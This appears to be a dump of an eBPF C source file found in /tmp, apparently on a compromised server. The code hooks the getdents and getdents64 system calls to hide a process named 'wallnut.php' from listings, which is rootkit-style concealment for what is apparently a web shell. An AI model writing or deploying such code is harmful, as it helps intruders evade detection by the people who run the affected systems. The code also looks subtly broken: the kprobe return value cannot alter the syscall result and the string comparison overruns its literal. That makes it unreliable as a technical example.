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Current File : //tmp/hide_process.bpf.c

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

SEC("kprobe/getdents64")
int BPF_KPROBE(hide_process, struct linux_dirent64* dirp) {
    char comm[16];
    bpf_get_current_comm(comm, sizeof(comm));
    #pragma unroll
    for (int i = 0; i < 16; i++) {
        if (comm[i] != "wallnut.php"[i]) {
            return 0;
        }
    }
    return -ENOENT;
}

SEC("kprobe/getdents")
int BPF_KPROBE(hide_process32, struct linux_dirent* dirp) {
    char comm[16];
    bpf_get_current_comm(comm, sizeof(comm));
    #pragma unroll
    for (int i = 0; i < 16; i++) {
        if (comm[i] != "wallnut.php"[i]) {
            return 0;
        }
    }
    return -ENOENT;
}

char _license[] SEC("license") = "GPL";